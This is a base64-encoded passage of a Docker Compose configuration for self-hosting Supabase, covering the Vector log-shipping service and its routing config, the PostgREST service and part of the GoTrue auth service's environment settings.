IGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSB3Z2V0CiAgICAgICAgLSAnLS1uby12ZXJib3NlJwogICAgICAgIC0gJy0tdHJpZXM9MScKICAgICAgICAtICctLXNwaWRlcicKICAgICAgICAtICdodHRwOi8vc3VwYWJhc2UtdmVjdG9yOjkwMDEvaGVhbHRoJwogICAgICB0aW1lb3V0OiA1cwogICAgICBpbnRlcnZhbDogNXMKICAgICAgcmV0cmllczogMwogICAgdm9sdW1lczoKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vdm9sdW1lcy9sb2dzL3ZlY3Rvci55bWwKICAgICAgICB0YXJnZXQ6IC9ldGMvdmVjdG9yL3ZlY3Rvci55bWwKICAgICAgICByZWFkX29ubHk6IHRydWUKICAgICAgICBjb250ZW50OiAiYXBpOlxuICBlbmFibGVkOiB0cnVlXG4gIGFkZHJlc3M6IDAuMC4wLjA6OTAwMVxuXG5zb3VyY2VzOlxuICBkb2NrZXJfaG9zdDpcbiAgICB0eXBlOiBkb2NrZXJfbG9nc1xuICAgIGV4Y2x1ZGVfY29udGFpbmVyczpcbiAgICAgIC0gc3VwYWJhc2UtdmVjdG9yXG5cbnRyYW5zZm9ybXM6XG4gIHByb2plY3RfbG9nczpcbiAgICB0eXBlOiByZW1hcFxuICAgIGlucHV0czpcbiAgICAgIC0gZG9ja2VyX2hvc3RcbiAgICBzb3VyY2U6IHwtXG4gICAgICAucHJvamVjdCA9IFwiZGVmYXVsdFwiXG4gICAgICAuZXZlbnRfbWVzc2FnZSA9IGRlbCgubWVzc2FnZSlcbiAgICAgIC5hcHBuYW1lID0gZGVsKC5jb250YWluZXJfbmFtZSlcbiAgICAgIGRlbCguY29udGFpbmVyX2NyZWF0ZWRfYXQpXG4gICAgICBkZWwoLmNvbnRhaW5lcl9pZClcbiAgICAgIGRlbCguc291cmNlX3R5cGUpXG4gICAgICBkZWwoLnN0cmVhbSlcbiAgICAgIGRlbCgubGFiZWwpXG4gICAgICBkZWwoLmltYWdlKVxuICAgICAgZGVsKC5ob3N0KVxuICAgICAgZGVsKC5zdHJlYW0pXG4gIHJvdXRlcjpcbiAgICB0eXBlOiByb3V0ZVxuICAgIGlucHV0czpcbiAgICAgIC0gcHJvamVjdF9sb2dzXG4gICAgcm91dGU6XG4gICAgICBrb25nOiAnc3RhcnRzX3dpdGgoc3RyaW5nISguYXBwbmFtZSksIFwic3VwYWJhc2Uta29uZ1wiKSdcbiAgICAgIGF1dGg6ICdzdGFydHNfd2l0aChzdHJpbmchKC5hcHBuYW1lKSwgXCJzdXBhYmFzZS1hdXRoXCIpJ1xuICAgICAgcmVzdDogJ3N0YXJ0c193aXRoKHN0cmluZyEoLmFwcG5hbWUpLCBcInN1cGFiYXNlLXJlc3RcIiknXG4gICAgICByZWFsdGltZTogJ3N0YXJ0c193aXRoKHN0cmluZyEoLmFwcG5hbWUpLCBcInJlYWx0aW1lLWRldlwiKSdcbiAgICAgIHN0b3JhZ2U6ICdzdGFydHNfd2l0aChzdHJpbmchKC5hcHBuYW1lKSwgXCJzdXBhYmFzZS1zdG9yYWdlXCIpJ1xuICAgICAgZnVuY3Rpb25zOiAnc3RhcnRzX3dpdGgoc3RyaW5nISguYXBwbmFtZSksIFwic3VwYWJhc2UtZnVuY3Rpb25zXCIpJ1xuICAgICAgZGI6ICdzdGFydHNfd2l0aChzdHJpbmchKC5hcHBuYW1lKSwgXCJzdXBhYmFzZS1kYlwiKSdcbiAgIyBJZ25vcmVzIG5vbiBuZ2lueCBlcnJvcnMgc2luY2UgdGhleSBhcmUgcmVsYXRlZCB3aXRoIGtvbmcgYm9vdGluZyB1cFxuICBrb25nX2xvZ3M6XG4gICAgdHlwZTogcmVtYXBcbiAgICBpbnB1dHM6XG4gICAgICAtIHJvdXRlci5rb25nXG4gICAgc291cmNlOiB8LVxuICAgICAgcmVxLCBlcnIgPSBwYXJzZV9uZ2lueF9sb2coLmV2ZW50X21lc3NhZ2UsIFwiY29tYmluZWRcIilcbiAgICAgIGlmIGVyciA9PSBudWxsIHtcbiAgICAgICAgICAudGltZXN0YW1wID0gcmVxLnRpbWVzdGFtcFxuICAgICAgICAgIC5tZXRhZGF0YS5yZXF1ZXN0LmhlYWRlcnMucmVmZXJlciA9IHJlcS5yZWZlcmVyXG4gICAgICAgICAgLm1ldGFkYXRhLnJlcXVlc3QuaGVhZGVycy51c2VyX2FnZW50ID0gcmVxLmFnZW50XG4gICAgICAgICAgLm1ldGFkYXRhLnJlcXVlc3QuaGVhZGVycy5jZl9jb25uZWN0aW5nX2lwID0gcmVxLmNsaWVudFxuICAgICAgICAgIC5tZXRhZGF0YS5yZXF1ZXN0Lm1ldGhvZCA9IHJlcS5tZXRob2RcbiAgICAgICAgICAubWV0YWRhdGEucmVxdWVzdC5wYXRoID0gcmVxLnBhdGhcbiAgICAgICAgICAubWV0YWRhdGEucmVxdWVzdC5wcm90b2NvbCA9IHJlcS5wcm90b2NvbFxuICAgICAgICAgIC5tZXRhZGF0YS5yZXNwb25zZS5zdGF0dXNfY29kZSA9IHJlcS5zdGF0dXNcbiAgICAgIH1cbiAgICAgIGlmIGVyciAhPSBudWxsIHtcbiAgICAgICAgYWJvcnRcbiAgICAgIH1cbiAgIyBJZ25vcmVzIG5vbiBuZ2lueCBlcnJvcnMgc2luY2UgdGhleSBhcmUgcmVsYXRlZCB3aXRoIGtvbmcgYm9vdGluZyB1cFxuICBrb25nX2VycjpcbiAgICB0eXBlOiByZW1hcFxuICAgIGlucHV0czpcbiAgICAgIC0gcm91dGVyLmtvbmdcbiAgICBzb3VyY2U6IHwtXG4gICAgICAubWV0YWRhdGEucmVxdWVzdC5tZXRob2QgPSBcIkdFVFwiXG4gICAgICAubWV0YWRhdGEucmVzcG9uc2Uuc3RhdHVzX2NvZGUgPSAyMDBcbiAgICAgIHBhcnNlZCwgZXJyID0gcGFyc2VfbmdpbnhfbG9nKC5ldmVudF9tZXNzYWdlLCBcImVycm9yXCIpXG4gICAgICBpZiBlcnIgPT0gbnVsbCB7XG4gICAgICAgICAgLnRpbWVzdGFtcCA9IHBhcnNlZC50aW1lc3RhbXBcbiAgICAgICAgICAuc2V2ZXJpdHkgPSBwYXJzZWQuc2V2ZXJpdHlcbiAgICAgICAgICAubWV0YWRhdGEucmVxdWVzdC5ob3N0ID0gcGFyc2VkLmhvc3RcbiAgICAgICAgICAubWV0YWRhdGEucmVxdWVzdC5oZWFkZXJzLmNmX2Nvbm5lY3RpbmdfaXAgPSBwYXJzZWQuY2xpZW50XG4gICAgICAgICAgdXJsLCBlcnIgPSBzcGxpdChwYXJzZWQucmVxdWVzdCwgXCIgXCIpXG4gICAgICAgICAgaWYgZXJyID09IG51bGwge1xuICAgICAgICAgICAgICAubWV0YWRhdGEucmVxdWVzdC5tZXRob2QgPSB1cmxbMF1cbiAgICAgICAgICAgICAgLm1ldGFkYXRhLnJlcXVlc3QucGF0aCA9IHVybFsxXVxuICAgICAgICAgICAgICAubWV0YWRhdGEucmVxdWVzdC5wcm90b2NvbCA9IHVybFsyXVxuICAgICAgICAgIH1cbiAgICAgIH1cbiAgICAgIGlmIGVyciAhPSBudWxsIHtcbiAgICAgICAgYWJvcnRcbiAgICAgIH1cbiAgIyBHb3RydWUgbG9ncyBhcmUgc3RydWN0dXJlZCBqc29uIHN0cmluZ3Mgd2hpY2ggZnJvbnRlbmQgcGFyc2VzIGRpcmVjdGx5LiBCdXQgd2Uga2VlcCBtZXRhZGF0YSBmb3IgY29uc2lzdGVuY3kuXG4gIGF1dGhfbG9nczpcbiAgICB0eXBlOiByZW1hcFxuICAgIGlucHV0czpcbiAgICAgIC0gcm91dGVyLmF1dGhcbiAgICBzb3VyY2U6IHwtXG4gICAgICBwYXJzZWQsIGVyciA9IHBhcnNlX2pzb24oLmV2ZW50X21lc3NhZ2UpXG4gICAgICBpZiBlcnIgPT0gbnVsbCB7XG4gICAgICAgICAgLm1ldGFkYXRhLnRpbWVzdGFtcCA9IHBhcnNlZC50aW1lXG4gICAgICAgICAgLm1ldGFkYXRhID0gbWVyZ2UhKC5tZXRhZGF0YSwgcGFyc2VkKVxuICAgICAgfVxuICAjIFBvc3RnUkVTVCBsb2dzIGFyZSBzdHJ1Y3R1cmVkIHNvIHdlIHNlcGFyYXRlIHRpbWVzdGFtcCBmcm9tIG1lc3NhZ2UgdXNpbmcgcmVnZXhcbiAgcmVzdF9sb2dzOlxuICAgIHR5cGU6IHJlbWFwXG4gICAgaW5wdXRzOlxuICAgICAgLSByb3V0ZXIucmVzdFxuICAgIHNvdXJjZTogfC1cbiAgICAgIHBhcnNlZCwgZXJyID0gcGFyc2VfcmVnZXgoLmV2ZW50X21lc3NhZ2UsIHInXig/UDx0aW1lPi4qKTogKD9QPG1zZz4uKikkJylcbiAgICAgIGlmIGVyciA9PSBudWxsIHtcbiAgICAgICAgICAuZXZlbnRfbWVzc2FnZSA9IHBhcnNlZC5tc2dcbiAgICAgICAgICAudGltZXN0YW1wID0gdG9fdGltZXN0YW1wIShwYXJzZWQudGltZSlcbiAgICAgICAgICAubWV0YWRhdGEuaG9zdCA9IC5wcm9qZWN0XG4gICAgICB9XG4gICMgUmVhbHRpbWUgbG9ncyBhcmUgc3RydWN0dXJlZCBzbyB3ZSBwYXJzZSB0aGUgc2V2ZXJpdHkgbGV2ZWwgdXNpbmcgcmVnZXggKGlnbm9yZSB0aW1lIGJlY2F1c2UgaXQgaGFzIG5vIGRhdGUpXG4gIHJlYWx0aW1lX2xvZ3M6XG4gICAgdHlwZTogcmVtYXBcbiAgICBpbnB1dHM6XG4gICAgICAtIHJvdXRlci5yZWFsdGltZVxuICAgIHNvdXJjZTogfC1cbiAgICAgIC5tZXRhZGF0YS5wcm9qZWN0ID0gZGVsKC5wcm9qZWN0KVxuICAgICAgLm1ldGFkYXRhLmV4dGVybmFsX2lkID0gLm1ldGFkYXRhLnByb2plY3RcbiAgICAgIHBhcnNlZCwgZXJyID0gcGFyc2VfcmVnZXgoLmV2ZW50X21lc3NhZ2UsIHInXig/UDx0aW1lPlxcZCs6XFxkKzpcXGQrXFwuXFxkKykgXFxbKD9QPGxldmVsPlxcdyspXFxdICg/UDxtc2c+LiopJCcpXG4gICAgICBpZiBlcnIgPT0gbnVsbCB7XG4gICAgICAgICAgLmV2ZW50X21lc3NhZ2UgPSBwYXJzZWQubXNnXG4gICAgICAgICAgLm1ldGFkYXRhLmxldmVsID0gcGFyc2VkLmxldmVsXG4gICAgICB9XG4gICMgU3RvcmFnZSBsb2dzIG1heSBjb250YWluIGpzb24gb2JqZWN0cyBzbyB3ZSBwYXJzZSB0aGVtIGZvciBjb21wbGV0ZW5lc3NcbiAgc3RvcmFnZV9sb2dzOlxuICAgIHR5cGU6IHJlbWFwXG4gICAgaW5wdXRzOlxuICAgICAgLSByb3V0ZXIuc3RvcmFnZVxuICAgIHNvdXJjZTogfC1cbiAgICAgIC5tZXRhZGF0YS5wcm9qZWN0ID0gZGVsKC5wcm9qZWN0KVxuICAgICAgLm1ldGFkYXRhLnRlbmFudElkID0gLm1ldGFkYXRhLnByb2plY3RcbiAgICAgIHBhcnNlZCwgZXJyID0gcGFyc2VfanNvbiguZXZlbnRfbWVzc2FnZSlcbiAgICAgIGlmIGVyciA9PSBudWxsIHtcbiAgICAgICAgICAuZXZlbnRfbWVzc2FnZSA9IHBhcnNlZC5tc2dcbiAgICAgICAgICAubWV0YWRhdGEubGV2ZWwgPSBwYXJzZWQubGV2ZWxcbiAgICAgICAgICAubWV0YWRhdGEudGltZXN0YW1wID0gcGFyc2VkLnRpbWVcbiAgICAgICAgICAubWV0YWRhdGEuY29udGV4dFswXS5ob3N0ID0gcGFyc2VkLmhvc3RuYW1lXG4gICAgICAgICAgLm1ldGFkYXRhLmNvbnRleHRbMF0ucGlkID0gcGFyc2VkLnBpZFxuICAgICAgfVxuICAjIFBvc3RncmVzIGxvZ3Mgc29tZSBtZXNzYWdlcyB0byBzdGRlcnIgd2hpY2ggd2UgbWFwIHRvIHdhcm5pbmcgc2V2ZXJpdHkgbGV2ZWxcbiAgZGJfbG9nczpcbiAgICB0eXBlOiByZW1hcFxuICAgIGlucHV0czpcbiAgICAgIC0gcm91dGVyLmRiXG4gICAgc291cmNlOiB8LVxuICAgICAgLm1ldGFkYXRhLmhvc3QgPSBcImRiLWRlZmF1bHRcIlxuICAgICAgLm1ldGFkYXRhLnBhcnNlZC50aW1lc3RhbXAgPSAudGltZXN0YW1wXG5cbiAgICAgIHBhcnNlZCwgZXJyID0gcGFyc2VfcmVnZXgoLmV2ZW50X21lc3NhZ2UsIHInLiooP1A8bGV2ZWw+SU5GT3xOT1RJQ0V8V0FSTklOR3xFUlJPUnxMT0d8RkFUQUx8UEFOSUM/KTouKicsIG51bWVyaWNfZ3JvdXBzOiB0cnVlKVxuXG4gICAgICBpZiBlcnIgIT0gbnVsbCB8fCBwYXJzZWQgPT0gbnVsbCB7XG4gICAgICAgIC5tZXRhZGF0YS5wYXJzZWQuZXJyb3Jfc2V2ZXJpdHkgPSBcImluZm9cIlxuICAgICAgfVxuICAgICAgaWYgcGFyc2VkICE9IG51bGwge1xuICAgICAgLm1ldGFkYXRhLnBhcnNlZC5lcnJvcl9zZXZlcml0eSA9IHBhcnNlZC5sZXZlbFxuICAgICAgfVxuICAgICAgaWYgLm1ldGFkYXRhLnBhcnNlZC5lcnJvcl9zZXZlcml0eSA9PSBcImluZm9cIiB7XG4gICAgICAgICAgLm1ldGFkYXRhLnBhcnNlZC5lcnJvcl9zZXZlcml0eSA9IFwibG9nXCJcbiAgICAgIH1cbiAgICAgIC5tZXRhZGF0YS5wYXJzZWQuZXJyb3Jfc2V2ZXJpdHkgPSB1cGNhc2UhKC5tZXRhZGF0YS5wYXJzZWQuZXJyb3Jfc2V2ZXJpdHkpXG5cbnNpbmtzOlxuICBsb2dmbGFyZV9hdXRoOlxuICAgIHR5cGU6ICdodHRwJ1xuICAgIGlucHV0czpcbiAgICAgIC0gYXV0aF9sb2dzXG4gICAgZW5jb2Rpbmc6XG4gICAgICBjb2RlYzogJ2pzb24nXG4gICAgbWV0aG9kOiAncG9zdCdcbiAgICByZXF1ZXN0OlxuICAgICAgcmV0cnlfbWF4X2R1cmF0aW9uX3NlY3M6IDEwXG4gICAgdXJpOiAnaHR0cDovL3N1cGFiYXNlLWFuYWx5dGljczo0MDAwL2FwaS9sb2dzP3NvdXJjZV9uYW1lPWdvdHJ1ZS5sb2dzLnByb2QmYXBpX2tleT0ke0xPR0ZMQVJFX0FQSV9LRVk/TE9HRkxBUkVfQVBJX0tFWSBpcyByZXF1aXJlZH0nXG4gIGxvZ2ZsYXJlX3JlYWx0aW1lOlxuICAgIHR5cGU6ICdodHRwJ1xuICAgIGlucHV0czpcbiAgICAgIC0gcmVhbHRpbWVfbG9nc1xuICAgIGVuY29kaW5nOlxuICAgICAgY29kZWM6ICdqc29uJ1xuICAgIG1ldGhvZDogJ3Bvc3QnXG4gICAgcmVxdWVzdDpcbiAgICAgIHJldHJ5X21heF9kdXJhdGlvbl9zZWNzOiAxMFxuICAgIHVyaTogJ2h0dHA6Ly9zdXBhYmFzZS1hbmFseXRpY3M6NDAwMC9hcGkvbG9ncz9zb3VyY2VfbmFtZT1yZWFsdGltZS5sb2dzLnByb2QmYXBpX2tleT0ke0xPR0ZMQVJFX0FQSV9LRVk/TE9HRkxBUkVfQVBJX0tFWSBpcyByZXF1aXJlZH0nXG4gIGxvZ2ZsYXJlX3Jlc3Q6XG4gICAgdHlwZTogJ2h0dHAnXG4gICAgaW5wdXRzOlxuICAgICAgLSByZXN0X2xvZ3NcbiAgICBlbmNvZGluZzpcbiAgICAgIGNvZGVjOiAnanNvbidcbiAgICBtZXRob2Q6ICdwb3N0J1xuICAgIHJlcXVlc3Q6XG4gICAgICByZXRyeV9tYXhfZHVyYXRpb25fc2VjczogMTBcbiAgICB1cmk6ICdodHRwOi8vc3VwYWJhc2UtYW5hbHl0aWNzOjQwMDAvYXBpL2xvZ3M/c291cmNlX25hbWU9cG9zdGdSRVNULmxvZ3MucHJvZCZhcGlfa2V5PSR7TE9HRkxBUkVfQVBJX0tFWT9MT0dGTEFSRV9BUElfS0VZIGlzIHJlcXVpcmVkfSdcbiAgbG9nZmxhcmVfZGI6XG4gICAgdHlwZTogJ2h0dHAnXG4gICAgaW5wdXRzOlxuICAgICAgLSBkYl9sb2dzXG4gICAgZW5jb2Rpbmc6XG4gICAgICBjb2RlYzogJ2pzb24nXG4gICAgbWV0aG9kOiAncG9zdCdcbiAgICByZXF1ZXN0OlxuICAgICAgcmV0cnlfbWF4X2R1cmF0aW9uX3NlY3M6IDEwXG4gICAgIyBXZSBtdXN0IHJvdXRlIHRoZSBzaW5rIHRocm91Z2gga29uZyBiZWNhdXNlIGluZ2VzdGluZyBsb2dzIGJlZm9yZSBsb2dmbGFyZSBpcyBmdWxseSBpbml0aWFsaXNlZCB3aWxsXG4gICAgIyBsZWFkIHRvIGJyb2tlbiBxdWVyaWVzIGZyb20gc3R1ZGlvLiBUaGlzIHdvcmtzIGJ5IHRoZSBhc3N1bXB0aW9uIHRoYXQgY29udGFpbmVycyBhcmUgc3RhcnRlZCBpbiB0aGVcbiAgICAjIGZvbGxvd2luZyBvcmRlcjogdmVjdG9yID4gZGIgPiBsb2dmbGFyZSA+IGtvbmdcbiAgICB1cmk6ICdodHRwOi8vc3VwYWJhc2Uta29uZzo4MDAwL2FuYWx5dGljcy92MS9hcGkvbG9ncz9zb3VyY2VfbmFtZT1wb3N0Z3Jlcy5sb2dzJmFwaV9rZXk9JHtMT0dGTEFSRV9BUElfS0VZP0xPR0ZMQVJFX0FQSV9LRVkgaXMgcmVxdWlyZWR9J1xuICBsb2dmbGFyZV9mdW5jdGlvbnM6XG4gICAgdHlwZTogJ2h0dHAnXG4gICAgaW5wdXRzOlxuICAgICAgLSByb3V0ZXIuZnVuY3Rpb25zXG4gICAgZW5jb2Rpbmc6XG4gICAgICBjb2RlYzogJ2pzb24nXG4gICAgbWV0aG9kOiAncG9zdCdcbiAgICByZXF1ZXN0OlxuICAgICAgcmV0cnlfbWF4X2R1cmF0aW9uX3NlY3M6IDEwXG4gICAgdXJpOiAnaHR0cDovL3N1cGFiYXNlLWFuYWx5dGljczo0MDAwL2FwaS9sb2dzP3NvdXJjZV9uYW1lPWRlbm8tcmVsYXktbG9ncyZhcGlfa2V5PSR7TE9HRkxBUkVfQVBJX0tFWT9MT0dGTEFSRV9BUElfS0VZIGlzIHJlcXVpcmVkfSdcbiAgbG9nZmxhcmVfc3RvcmFnZTpcbiAgICB0eXBlOiAnaHR0cCdcbiAgICBpbnB1dHM6XG4gICAgICAtIHN0b3JhZ2VfbG9nc1xuICAgIGVuY29kaW5nOlxuICAgICAgY29kZWM6ICdqc29uJ1xuICAgIG1ldGhvZDogJ3Bvc3QnXG4gICAgcmVxdWVzdDpcbiAgICAgIHJldHJ5X21heF9kdXJhdGlvbl9zZWNzOiAxMFxuICAgIHVyaTogJ2h0dHA6Ly9zdXBhYmFzZS1hbmFseXRpY3M6NDAwMC9hcGkvbG9ncz9zb3VyY2VfbmFtZT1zdG9yYWdlLmxvZ3MucHJvZC4yJmFwaV9rZXk9JHtMT0dGTEFSRV9BUElfS0VZP0xPR0ZMQVJFX0FQSV9LRVkgaXMgcmVxdWlyZWR9J1xuICBsb2dmbGFyZV9rb25nOlxuICAgIHR5cGU6ICdodHRwJ1xuICAgIGlucHV0czpcbiAgICAgIC0ga29uZ19sb2dzXG4gICAgICAtIGtvbmdfZXJyXG4gICAgZW5jb2Rpbmc6XG4gICAgICBjb2RlYzogJ2pzb24nXG4gICAgbWV0aG9kOiAncG9zdCdcbiAgICByZXF1ZXN0OlxuICAgICAgcmV0cnlfbWF4X2R1cmF0aW9uX3NlY3M6IDEwXG4gICAgdXJpOiAnaHR0cDovL3N1cGFiYXNlLWFuYWx5dGljczo0MDAwL2FwaS9sb2dzP3NvdXJjZV9uYW1lPWNsb3VkZmxhcmUubG9ncy5wcm9kJmFwaV9rZXk9JHtMT0dGTEFSRV9BUElfS0VZP0xPR0ZMQVJFX0FQSV9LRVkgaXMgcmVxdWlyZWR9J1xuIgogICAgICAtICcvdmFyL3J1bi9kb2NrZXIuc29jazovdmFyL3J1bi9kb2NrZXIuc29jazpybycKICAgIGVudmlyb25tZW50OgogICAgICAtICdMT0dGTEFSRV9BUElfS0VZPSR7U0VSVklDRV9QQVNTV09SRF9MT0dGTEFSRX0nCiAgICBjb21tYW5kOgogICAgICAtICctLWNvbmZpZycKICAgICAgLSBldGMvdmVjdG9yL3ZlY3Rvci55bWwKICBzdXBhYmFzZS1yZXN0OgogICAgaW1hZ2U6ICdwb3N0Z3Jlc3QvcG9zdGdyZXN0OnYxMi4yLjEyJwogICAgZGVwZW5kc19vbjoKICAgICAgc3VwYWJhc2UtZGI6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgc3VwYWJhc2UtYW5hbHl0aWNzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUEdSU1RfREJfVVJJPXBvc3RncmVzOi8vYXV0aGVudGljYXRvcjoke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9QCR7UE9TVEdSRVNfSE9TVE5BTUU6LXN1cGFiYXNlLWRifToke1BPU1RHUkVTX1BPUlQ6LTU0MzJ9LyR7UE9TVEdSRVNfREI6LXBvc3RncmVzfScKICAgICAgLSAnUEdSU1RfREJfU0NIRU1BUz0ke1BHUlNUX0RCX1NDSEVNQVM6LXB1YmxpYyxzdG9yYWdlLGdyYXBocWxfcHVibGljfScKICAgICAgLSBQR1JTVF9EQl9BTk9OX1JPTEU9YW5vbgogICAgICAtICdQR1JTVF9KV1RfU0VDUkVUPSR7U0VSVklDRV9QQVNTV09SRF9KV1R9JwogICAgICAtIFBHUlNUX0RCX1VTRV9MRUdBQ1lfR1VDUz1mYWxzZQogICAgICAtICdQR1JTVF9BUFBfU0VUVElOR1NfSldUX1NFQ1JFVD0ke1NFUlZJQ0VfUEFTU1dPUkRfSldUfScKICAgICAgLSAnUEdSU1RfQVBQX1NFVFRJTkdTX0pXVF9FWFA9JHtKV1RfRVhQSVJZOi0zNjAwfScKICAgIGNvbW1hbmQ6IHBvc3RncmVzdAogICAgZXhjbHVkZV9mcm9tX2hjOiB0cnVlCiAgc3VwYWJhc2UtYXV0aDoKICAgIGltYWdlOiAnc3VwYWJhc2UvZ290cnVlOnYyLjE3NC4wJwogICAgZGVwZW5kc19vbjoKICAgICAgc3VwYWJhc2UtZGI6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgc3VwYWJhc2UtYW5hbHl0aWNzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gd2dldAogICAgICAgIC0gJy0tbm8tdmVyYm9zZScKICAgICAgICAtICctLXRyaWVzPTEnCiAgICAgICAgLSAnLS1zcGlkZXInCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTo5OTk5L2hlYWx0aCcKICAgICAgdGltZW91dDogNXMKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHJldHJpZXM6IDMKICAgIGVudmlyb25tZW50OgogICAgICAtIEdPVFJVRV9BUElfSE9TVD0wLjAuMC4wCiAgICAgIC0gR09UUlVFX0FQSV9QT1JUPTk5OTkKICAgICAgLSAnQVBJX0VYVEVSTkFMX1VSTD0ke0FQSV9FWFRFUk5BTF9VUkw6LWh0dHA6Ly9zdXBhYmFzZS1rb25nOjgwMDB9JwogICAgICAtIEdPVFJVRV9EQl9EUklWRVI9cG9zdGdyZXMKICAgICAgLSAnR09UUlVFX0RCX0RBVEFCQVNFX1VSTD1wb3N0Z3JlczovL3N1cGFiYXNlX2F1dGhfYWRtaW46JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfUAke1BPU1RHUkVTX0hPU1ROQU1FOi1zdXBhYmFzZS1kYn06JHtQT1NUR1JFU19QT1JUOi01NDMyfS8ke1BPU1RHUkVTX0RCOi1wb3N0Z3Jlc30nCiAgICAgIC0gJ0dPVFJVRV9TSVRFX1VSTD0ke1NFUlZJQ0VfVVJMX1NVUEFCQVNFS09OR30nCiAgICAgIC0gJ0dPVFJVRV9VUklfQUxMT1dfTElTVD0ke0FERElUSU9OQUxfUkVESVJFQ1RfVVJMU30nCiAgICAgIC0gJ0dPVFJVRV9ESVNBQkxFX1NJR05VUD0ke0RJU0FCTEVfU0lHTlVQOi1mYWxzZX0nCiAgICAgIC0gR09UUlVFX0pXVF9BRE1JTl9ST0xFUz1zZXJ2aWNlX3JvbGUKICAgICAgLSBHT1RSVUVfSldUX0FVRD1hdXRoZW50aWNhdGVkCiAgICAgIC0gR09UUlVFX0pXVF9ERUZBVUxUX0dST1VQX05BTUU9YXV0aGVudGljYXRlZAogICAgICAtICdHT1RSVUVfSldUX0VYUD0ke0pXVF9FWFBJUlk6LTM2MDB9JwogICAgICAtICdHT1RSVUVfSldUX1NFQ1JFVD0ke1NFUlZJQ0VfUEFTU1dPUkRfSldUfScKICAgICAgLSAnR09UUlVFX0VYVEVSTkFMX0VNQUlMX0VOQUJMRUQ9JHtFTkFCTEVfRU1BSUxfU0lHTlVQOi10cnVlfScKICAgICAgLSAnR09UUlVFX0VYVEVSTkFMX0FOT05ZTU9VU19VU0VSU19FTkFCTEVEPSR7RU5BQkxFX0FOT05ZTU9VU19VU0VSUzotZmFsc2V9JwogICAgICAtICdHT1RSVUVfTUFJTEVSX0FVVE9DT05GSVJNPSR7RU5BQkxFX0VNQUlMX0FVVE9DT05GSVJNOi1mYWxzZX0nCiAgICAgIC0gJ0dPVFJVRV9TTVRQX0FETUlOX0VNQUlMPSR7U01UUF9BRE1JTl9FTUFJTH0nCiAgICAgIC0gJ0dPVFJVRV9TTVRQX0hPU1Q9JHtTTVRQX0hPU1R9JwogICAgICAtICdHT1RSVUVfU01UUF9QT1JUPSR7U01UUF9QT1JUOi01ODd9JwogICAgICAtICdHT1RSVUVfU01UUF9VU0VSPSR7U01UUF9VU0VSfScKICAgICAgLSAnR09UUlVFX1NNVFBfUEFTUz0ke1NNVFBfUEFTU30nCiAgICAgIC0gJ0dPVFJVRV9TTVRQX1NFTkRFUl9OQU1FPSR7U01UUF9TRU5ERVJfTkFNRX0nCiAgICAgIC0gJ0dPVFJVRV9NQUlMRVJfVVJMUEFUSFNfSU5WSVRFPSR7TUFJTEVSX1VSTFBBVEhTX0lOVklURTotL2F1dGgvdjEvdmVyaWZ5fScKICAgICAgLSAnR09UUlVFX01BSUxFUl9VUkxQQVRIU19DT05GSVJNQVRJT049JHtNQUlMRVJfVVJMUEFUSFNfQ09ORklSTUFUSU9OOi0vYXV0aC92MS92ZXJpZnl9JwogICAgICAtICdHT1RSVUVfTUFJTEVSX1VSTFBBVEhTX1JFQ09WRVJZPSR7TUFJTEVSX1VSTFBBVEhTX1JFQ09WRVJZOi0vYXV0aC92MS92ZXJpZnl9JwogICAgICAtICdHT1RSVUVfTUFJTEVSX1VSTFBBVEhTX0VNQUlMX0NIQU5HRT0ke01BSUxFUl9VUkxQQVRIU19FTUFJTF9DSEFOR0U6LS9hdXRoL3YxL3ZlcmlmeX0nCiAgICAgIC0gJ0dPVFJVRV9NQUlMRVJfVEVNUExBVEVTX0lOVklURT0ke01BSUxFUl9URU1QTEFURVNfSU5WSVRFfScKICAgICAgLSAnR09UUlVFX01BSUxFUl9URU1QTEFURVNfQ09ORklSTUFUSU9OPSR7TUFJTEVSX1RFTVBMQVRFU19DT05GSVJNQVRJT059JwogICAgICAtICdHT1RSVUVfTUFJTEVSX1RFTVBMQVRFU19SRUNPVkVSWT0ke01BSUxFUl9URU1QTEFURVNfUkVDT1ZFUll9JwogICAgICAtICdHT1RSVUVfTUFJTEVSX1RFTVBMQVRFU19NQUdJQ19MSU5LPSR7TUFJTEVSX1RFTVBMQVRFU19NQUdJQ19MSU5LfScKICAgICAgLSAnR09UUlVFX01BSUxFUl9URU1QTEFURVNfRU1BSUxfQ0hBTkdFPSR7TUFJTEVSX1RFTVBMQVRFU19FTUFJTF9DSEFOR0V9JwogICAgICAtICdHT1RSVUVfTUFJTEVSX1NVQkpFQ1RTX0NPTkZJUk1BVElPTj0ke01BSUxFUl9TVUJKRUNUU19DT05GSVJNQVRJT059JwogICAgICAtICdHT1RSVUVfTUFJTEVSX1NVQkpFQ1RTX1JFQ09WRVJZPSR7TUFJTEVSX1NVQkpFQ1RTX1JFQ09WRVJZfScKICAgICAgLSAnR09UUlVFX01BSUxFUl9TVUJKRUNUU19NQUdJQ19MSU5LPSR7TUFJTEVSX1NVQkpFQ1RTX01BR0lDX0xJTkt9JwogICAgICAtICdHT1RSVUVfTUFJTEVSX1NVQkpFQ1RTX0VNQUlMX0NIQU5HRT0ke01BSUxFUl9TVUJKRUNUU19FTUFJTF9DSEFOR0V9JwogICAgICAtICdHT1RSVUVfTUFJTEVSX1NVQkpFQ1RTX0lOVklURT0ke01BSUxFUl9TVUJKRUNUU19JTlZJVEV9JwogICAgICAtICdHT1RSVUVfRVhURVJOQUxfUEhPTkVfRU5BQkxFRD0ke0VOQUJMRV9QSE9ORV9TSUdOVVA6LXRydWV9JwogICAgICAtICdHT1RSVUVfU01TX0FVVE9DT05GSVJNPSR7RU5BQkxFX1BIT05FX0FVVE9DT05GSVJN